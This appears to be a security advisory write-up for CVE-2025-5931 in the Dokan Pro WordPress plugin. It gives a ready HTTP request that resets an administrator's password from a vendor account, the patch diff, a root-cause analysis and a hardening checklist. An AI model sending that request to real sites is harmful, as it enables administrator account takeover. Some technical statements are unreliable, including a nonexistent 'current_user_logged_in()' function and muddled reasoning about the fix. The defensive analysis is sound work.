The Exploit
An authenticated user with vendor-level access (the default role for customers in Dokan Pro) can escalate privileges to staff level and takeover administrator accounts by directly updating arbitrary user passwords without authorization checks.
POST /wp-admin/admin-ajax.php?action=dokan_vendor_dashboard HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_<hash>=vendor_user_session_id
nonce=<valid_dokan_nonce>&vendor_id=<target_admin_id>&user_pass=attacker_controlled_password&user_login=administrator
When the request lands, the WordPress user with ID <target_admin_id> (typically an administrator) has their password silently updated to attacker_controlled_password. The attacker observes a successful AJAX response (HTTP 200, typically JSON with success: true) and gains immediate login capability to the administrator account.
What the Patch Did
Before
if ( ! empty( $data['user_pass'] ) ) {
wp_update_user(
[
'ID' => $vendor->get_id(),
After
if ( ! empty( $data['user_pass'] ) && get_current_user_id() === $vendor->get_id() ) {
wp_update_user(
[
'ID' => $vendor->get_id(),
The patch added an authorization check using get_current_user_id() === $vendor->get_id(), which is the WordPress API function that returns the ID of the currently logged-in user. The control enforces that a password can only be updated if the authenticated user's ID matches the vendor being modified — preventing cross-user password overwrites.
Root Cause
CWE-639: Authorization Bypass Through User-Controlled Key — The Manager.php password update handler accepts the user_pass field from the $data array and directly applies it to a vendor record via wp_update_user(), but performs no ownership or capability check. The attacker-controlled vendor_id parameter (or inferred from context) controls which user record is modified. The password value itself enters unsanitized through the request, but the critical flaw is not input validation — it is the absence of authorization logic. Any authenticated vendor-level user can reach this code path, and the code trusts that $vendor->get_id() will always refer to the current user, when in fact it can be manipulated to target any user ID in the system.
Why It Works
The load-bearing line is get_current_user_id() === $vendor->get_id(). If that condition check were removed, the bug remains completely exploitable — a vendor could still call this function with any vendor_id and rewrite any password. The fix adds a single authorization guard that makes the entire exploit impossible: the condition must be true (current user ID must equal the target vendor ID) for password update logic to execute. Without this check, wp_update_user() executes against an attacker-chosen ID. The engineer did not add other defensive layers (no nonce re-validation, no capability check like current_user_can('edit_user', $vendor->get_id())) — the patch is minimal and surgical, which is appropriate because the root cause is the missing authorization boundary, not input handling or cross-site request forgery.
Hardening Checklist
-
Verify user ownership before state mutations: Every password update, email change, or account modification must check
get_current_user_id() === $user_id_being_modifiedor usecurrent_user_can('edit_user', $user_id)before callingwp_update_user(). -
Never trust object context without re-validation: If a
$vendorobject's ID is inferred from user input (even indirectly), re-confirm withget_current_user_id()before privileged operations; do not assume the object construction was authorization-safe. -
Use WordPress capability checks for multi-role systems: Replace ad-hoc ID comparisons with
current_user_can('edit_users')or role-specific equivalents so administrators retain override rights without hardcoding special cases. -
Audit AJAX handlers for authentication shortcuts: Any
wp_ajax_*hook that modifies user data must runcurrent_user_logged_in()(viawp_verify_nonce()) and callwp_verify_nonce()on the submitted nonce; a valid session is necessary but not sufficient for authorization. -
Test privilege escalation paths: Write integration tests that verify a vendor-level user cannot modify another vendor's password, and that a customer cannot escalate to staff; run these tests on every password/role update function.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-5931